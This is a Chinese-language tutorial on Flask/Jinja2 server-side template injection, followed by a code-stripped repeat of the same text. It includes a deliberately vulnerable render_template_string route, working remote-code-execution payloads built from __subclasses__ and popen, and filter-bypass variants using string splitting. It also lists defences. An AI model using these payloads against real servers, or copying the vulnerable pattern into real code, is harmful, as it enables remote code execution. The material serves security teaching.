flask之ssti模版注入从零到入门
字数 1265 2025-08-27 12:33:48

Flask SSTI模板注入从入门到精通

一、SSTI漏洞概述

1.1 漏洞定义

SSTI(Server-Side Template Injection)服务端模板注入,主要发生在使用模板引擎渲染用户输入时,由于代码不规范或未对用户输入进行过滤,导致攻击者能够注入恶意模板代码并在服务器端执行。

1.2 常见受影响框架

  • Python框架:Jinja2、Mako、Tornado、Django
  • PHP框架:Smarty、Twig
  • Java框架:Jade、Velocity

1.3 漏洞成因

模板渲染本身没有漏洞,问题在于程序员代码不规范,将用户可控数据直接传入模板渲染函数,导致模板内容可控。

二、模板引擎基础

2.1 模板引擎作用

  • 实现界面与数据分离
  • 业务代码与逻辑代码分离
  • 提高开发效率和代码重用性

2.2 模板示例

<html><div>{$what}</div></html>

what变量被渲染为"张三"时,输出:

<html><div>张三</div></html>

2.3 渲染方式对比

  • 后端渲染:服务器完成模板解析,返回最终HTML
  • 前端渲染:浏览器从服务器获取数据,客户端完成渲染

三、Flask环境搭建

3.1 基础环境

  • Python 3.6+
  • Flask模块
  • PyCharm(推荐)

3.2 最小Flask应用

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'

if __name__ == '__main__':
    app.run(debug=True)

3.3 路由装饰器

@app.route('/test')
def test():
    return '123'

访问/test返回"123"

3.4 动态路由

@app.route("/hello/<username>")
def hello_user(username):
    return "user:%s"%username

四、模板渲染机制

4.1 安全渲染示例

@app.route('/')
@app.route('/index')
def index():
    user = {'name': '小猪佩奇'}
    return render_template("index.html", title='Home', user=user)

4.2 漏洞代码示例

@app.route('/test', methods=['GET', 'POST'])
def test():
    template = '''
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
    ''' % (request.url)
    return render_template_string(template)

五、SSTI利用原理

5.1 Python对象模型

  • object类是Python中所有类的基类
  • 通过__class____bases__等属性可以遍历对象继承链

5.2 基本利用链

  1. 获取字符串的类:''.__class__
  2. 获取基类:''.__class__.__bases__[0]
  3. 获取所有子类:''.__class__.__bases__[0].__subclasses__()

5.3 查找可利用类

在子类列表中查找可利用的类,如os._wrap_close(通常在第118或119个位置)

5.4 执行系统命令

{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}

六、绕过技巧

6.1 过滤中括号[]

使用__getitem__绕过:

{{"".__class__.__bases__.__getitem__(0)}}

6.2 过滤subclasses

使用字符串拼接:

{{"".__class__.__bases__[0]['subcla'+'sses']()}}

6.3 过滤class

使用session或request对象:

{{session['cla'+'ss'].__bases__[0].__bases__[0]}}

{{request['__cl'+'ass__'].__mro__[12]}}

6.4 timeit方法

import timeit
timeit.timeit("__import__('os').system('dir')", number=1)

七、实战利用POC

7.1 基本POC

{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('whoami').read()}}

7.2 复杂POC

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__'].__globals__['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ls").re'+'ad()')}}

八、漏洞挖掘技巧

  1. 识别网站使用的Web框架和模板引擎
  2. 测试所有用户输入点,特别是URL参数
  3. 尝试注入{{7*7}}等简单测试payload
  4. 观察返回内容是否执行了模板语法

九、防御措施

  1. 避免直接将用户输入传入模板渲染函数
  2. 使用安全的模板渲染方式,如render_template
  3. 对用户输入进行严格的过滤和转义
  4. 使用沙箱环境运行模板引擎
  5. 限制模板引擎的功能,禁用危险函数

十、总结

SSTI漏洞危害严重,可导致远程代码执行。理解其原理和利用方式对于Web安全至关重要。开发时应遵循安全编码规范,避免将用户可控数据直接传入模板渲染函数。

Flask SSTI模板注入从入门到精通 一、SSTI漏洞概述 1.1 漏洞定义 SSTI(Server-Side Template Injection)服务端模板注入,主要发生在使用模板引擎渲染用户输入时,由于代码不规范或未对用户输入进行过滤,导致攻击者能够注入恶意模板代码并在服务器端执行。 1.2 常见受影响框架 Python框架:Jinja2、Mako、Tornado、Django PHP框架:Smarty、Twig Java框架:Jade、Velocity 1.3 漏洞成因 模板渲染本身没有漏洞,问题在于程序员代码不规范,将用户可控数据直接传入模板渲染函数,导致模板内容可控。 二、模板引擎基础 2.1 模板引擎作用 实现界面与数据分离 业务代码与逻辑代码分离 提高开发效率和代码重用性 2.2 模板示例 当 what 变量被渲染为"张三"时,输出: 2.3 渲染方式对比 后端渲染 :服务器完成模板解析,返回最终HTML 前端渲染 :浏览器从服务器获取数据,客户端完成渲染 三、Flask环境搭建 3.1 基础环境 Python 3.6+ Flask模块 PyCharm(推荐) 3.2 最小Flask应用 3.3 路由装饰器 访问 /test 返回"123" 3.4 动态路由 四、模板渲染机制 4.1 安全渲染示例 4.2 漏洞代码示例 五、SSTI利用原理 5.1 Python对象模型 object 类是Python中所有类的基类 通过 __class__ 、 __bases__ 等属性可以遍历对象继承链 5.2 基本利用链 获取字符串的类: ''.__class__ 获取基类: ''.__class__.__bases__[0] 获取所有子类: ''.__class__.__bases__[0].__subclasses__() 5.3 查找可利用类 在子类列表中查找可利用的类,如 os._wrap_close (通常在第118或119个位置) 5.4 执行系统命令 六、绕过技巧 6.1 过滤中括号[ ] 使用 __getitem__ 绕过: 6.2 过滤subclasses 使用字符串拼接: 6.3 过滤class 使用session或request对象: 或 6.4 timeit方法 七、实战利用POC 7.1 基本POC 7.2 复杂POC 八、漏洞挖掘技巧 识别网站使用的Web框架和模板引擎 测试所有用户输入点,特别是URL参数 尝试注入 {{7*7}} 等简单测试payload 观察返回内容是否执行了模板语法 九、防御措施 避免直接将用户输入传入模板渲染函数 使用安全的模板渲染方式,如 render_template 对用户输入进行严格的过滤和转义 使用沙箱环境运行模板引擎 限制模板引擎的功能,禁用危险函数 十、总结 SSTI漏洞危害严重,可导致远程代码执行。理解其原理和利用方式对于Web安全至关重要。开发时应遵循安全编码规范,避免将用户可控数据直接传入模板渲染函数。